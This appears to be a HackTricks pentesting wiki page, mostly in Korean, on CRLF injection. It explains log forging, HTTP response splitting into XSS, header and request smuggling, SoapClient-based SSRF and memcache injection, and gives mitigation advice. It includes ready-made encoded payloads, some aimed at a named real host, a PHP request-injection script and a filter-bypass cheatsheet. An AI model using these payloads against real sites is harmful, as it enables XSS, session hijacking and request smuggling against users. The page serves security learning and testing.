CRLF (%0D%0A) Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Bug bounty tip: sign up for Intigriti, a premium bug bounty platform created by hackers, for hackers! Join us at https://go.intigriti.com/hacktricks today, and start earning bounties up to $100,000!

CRLF

캐리지 리턴(CR)과 라인 피드(LF)는 함께 CRLF로 알려져 있으며, HTTP 프로토콜에서 줄의 끝이나 새 줄의 시작을 나타내기 위해 사용되는 특수 문자 시퀀스입니다. 웹 서버와 브라우저는 CRLF를 사용하여 HTTP 헤더와 응답 본문을 구분합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에 보편적으로 사용됩니다.

CRLF Injection Vulnerability

CRLF 인젝션은 사용자 제공 입력에 CR 및 LF 문자를 삽입하는 것을 포함합니다. 이 작업은 서버, 애플리케이션 또는 사용자가 주입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하도록 오도합니다. 이러한 문자는 본질적으로 해롭지 않지만, 잘못 사용될 경우 HTTP 응답 분할 및 기타 악의적인 활동으로 이어질 수 있습니다.

Example: CRLF Injection in a Log File

Example from here

관리 패널의 로그 파일이 IP - Time - Visited Path 형식을 따르는 경우를 고려해 보십시오. 일반적인 항목은 다음과 같을 수 있습니다:

123.123.123.123 - 08:15 - /index.php?page=home

공격자는 CRLF 주입을 이용하여 이 로그를 조작할 수 있습니다. HTTP 요청에 CRLF 문자를 주입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 주입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

여기서 %0d와 %0a는 CR과 LF의 URL 인코딩 형태를 나타냅니다. 공격 후, 로그는 잘못된 방식으로 다음과 같이 표시됩니다:

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

공격자는 localhost(서버 환경 내에서 일반적으로 신뢰되는 엔티티)가 작업을 수행한 것처럼 보이게 하여 악의적인 활동을 숨깁니다. 서버는 %0d%0a로 시작하는 쿼리의 일부를 단일 매개변수로 해석하고, restrictedaction 매개변수는 별도의 입력으로 파싱됩니다. 조작된 쿼리는 합법적인 관리 명령을 효과적으로 모방합니다: /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

설명

HTTP Response Splitting은 공격자가 HTTP 응답의 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스인 Carriage Return (CR) 다음에 Line Feed (LF)를 사용하여 헤더와 본문을 구분하며, 이를 CRLF라고 합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하는 데 성공하면, 이후 응답 내용을 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)으로 이어질 수 있습니다.

HTTP Response Splitting을 통한 XSS

애플리케이션은 다음과 같은 사용자 정의 헤더를 설정합니다: X-Custom-Header: UserInput
애플리케이션은 쿼리 매개변수에서 UserInput의 값을 가져옵니다. 예를 들어 "user_input"입니다. 적절한 입력 검증 및 인코딩이 없는 시나리오에서 공격자는 CRLF 시퀀스와 악의적인 내용을 포함하는 페이로드를 만들 수 있습니다.
공격자는 특별히 조작된 'user_input'을 포함한 URL을 만듭니다: ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>

이 URL에서 %0d%0a%0d%0a는 CRLFCRLF의 URL 인코딩된 형태입니다. 이는 서버를 속여 CRLF 시퀀스를 삽입하게 하여 서버가 이후 부분을 응답 본문으로 처리하게 만듭니다.

서버는 공격자의 입력을 응답 헤더에 반영하여 악의적인 스크립트가 응답 본문의 일부로 브라우저에 의해 해석되는 의도하지 않은 응답 구조를 초래합니다.

리디렉션으로 이어지는 HTTP Response Splitting의 예

https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62에서 가져옴

브라우저에서:

/%0d%0aLocation:%20http://myweb.com

서버는 다음과 같은 헤더로 응답합니다:

Location: http://myweb.com

다른 예: (출처 https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

In URL Path

URL 경로 내부에 페이로드를 전송하여 서버의 응답을 제어할 수 있습니다 (예시는 여기에서 확인할 수 있습니다):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

Check more examples in:

bugbounty-cheatsheet/crlf.md at master · EdOverflow/bugbounty-cheatsheetGitHub

HTTP 헤더 주입

HTTP 헤더 주입은 종종 CRLF (캐리지 리턴 및 라인 피드) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (교차 사이트 스크립팅) 필터나 SOP (동일 출처 정책)와 같은 보안 메커니즘을 약화시킬 수 있으며, CSRF 토큰과 같은 민감한 데이터에 대한 무단 접근이나 쿠키 삽입을 통한 사용자 세션 조작으로 이어질 수 있습니다.

HTTP 헤더 주입을 통한 CORS 악용

공격자는 HTTP 헤더를 주입하여 CORS (교차 출처 리소스 공유)를 활성화할 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 침해는 악의적인 출처의 스크립트가 다른 출처의 리소스와 상호작용할 수 있게 하여, 보호된 데이터에 접근할 수 있는 가능성을 제공합니다.

CRLF를 통한 SSRF 및 HTTP 요청 주입

CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 주입하는 데 활용될 수 있습니다. 이와 관련된 주목할 만한 예는 PHP의 SoapClient 클래스의 취약점으로, 특히 user_agent 매개변수 내에서 발생합니다. 이 매개변수를 조작함으로써 공격자는 추가 헤더와 본문 내용을 삽입하거나, 심지어 완전히 새로운 HTTP 요청을 주입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예제입니다:

$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Header Injection to Request Smuggling

이 기술과 잠재적인 문제에 대한 자세한 정보는 원본 소스 확인을 참조하세요.

필수 헤더를 주입하여 백엔드가 초기 요청에 응답한 후 연결을 유지하도록 할 수 있습니다:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

이후 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 HTTP request smuggling과 관련이 있으며, 여기서 서버가 주입 후 추가한 헤더나 본문 요소가 다양한 보안 취약점을 초래할 수 있습니다.

악용:

악의적인 접두사 주입: 이 방법은 악의적인 접두사를 지정하여 다음 사용자의 요청이나 웹 캐시를 오염시키는 것입니다. 예시는 다음과 같습니다:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

응답 큐 오염을 위한 접두사 작성: 이 접근법은 후행 쓰레기와 결합될 때 완전한 두 번째 요청을 형성하는 접두사를 만드는 것입니다. 이는 응답 큐 오염을 유발할 수 있습니다. 예시는 다음과 같습니다:

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Memcache Injection

Memcache는 명확한 텍스트 프로토콜을 사용하는 키-값 저장소입니다. 자세한 내용은 다음을 참조하십시오:

11211 - Pentesting Memcache

전체 정보는 원본 작성물 을 읽어보십시오.

플랫폼이 HTTP 요청에서 데이터를 가져와 이를 정화하지 않고 memcache 서버에 요청을 수행하는 경우, 공격자는 이 동작을 악용하여 새로운 memcache 명령을 주입할 수 있습니다.

예를 들어, 원래 발견된 취약점에서는 캐시 키가 사용자의 연결 IP와 포트를 반환하는 데 사용되었으며, 공격자는 memcache 명령을 주입하여 캐시를 오염시켜 피해자의 세부정보(사용자 이름 및 비밀번호 포함)를 공격자 서버로 전송할 수 있었습니다:

또한, 연구자들은 공격자가 알지 못하는 사용자의 이메일로 공격자의 IP와 포트를 전송하기 위해 memcache 응답을 비동기화할 수 있다는 것을 발견했습니다:

웹 애플리케이션에서 CRLF / HTTP 헤더 주입 방지 방법

웹 애플리케이션에서 CRLF(캐리지 리턴 및 라인 피드) 또는 HTTP 헤더 주입의 위험을 완화하기 위해 다음 전략이 권장됩니다:

응답 헤더에 직접 사용자 입력 피하기: 가장 안전한 접근법은 사용자 제공 입력을 응답 헤더에 직접 포함하지 않는 것입니다.
특수 문자 인코딩: 직접 사용자 입력을 피할 수 없는 경우, CR(캐리지 리턴) 및 LF(라인 피드)와 같은 특수 문자를 인코딩하는 전용 함수를 사용해야 합니다. 이 관행은 CRLF 주입 가능성을 방지합니다.
프로그래밍 언어 업데이트: 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 주입을 본질적으로 허용하지 않는 버전을 선택하십시오.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

자동 도구

무차별 대입 탐지 목록

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt

참고 문헌

버그 바운티 팁: 해커를 위해 해커가 만든 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입하세요! 오늘 https://go.intigriti.com/hacktricks에서 저희와 함께하고 최대 $100,000의 보상을 받기 시작하세요!

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 가입하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud github 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.

PreviousCORS - Misconfigurations & Bypass NextCSRF (Cross Site Request Forgery)

Last updated 7 days ago

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

$target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; $crlf = array( 'POST /proxy HTTP/1.1', 'Host: local.host.htb', 'Cookie: PHPSESSID=[PHPSESSID]', 'Content-Type: application/x-www-form-urlencoded', 'Content-Length: '.(string)strlen($post_string), "\r\n", $post_string ); $client = new SoapClient(null, array( 'uri'=>$target, 'location'=>$target, 'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf) ) ); # Put a netcat listener on port 9090 $client->__soapCall("test", []);

1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) 2. CRLF chained with Open Redirect • //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2 • /google.com/%2F..%0D%0AHeader-Test:test2 • /%0d%0aLocation:%20http://example.com 3. CRLF Injection to XSS • /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23 • /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E 4. Filter Bypass • %E5%98%8A = %0A = \u560a • %E5%98%8D = %0D = \u560d • %E5%98%BE = %3E = \u563e (>) • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test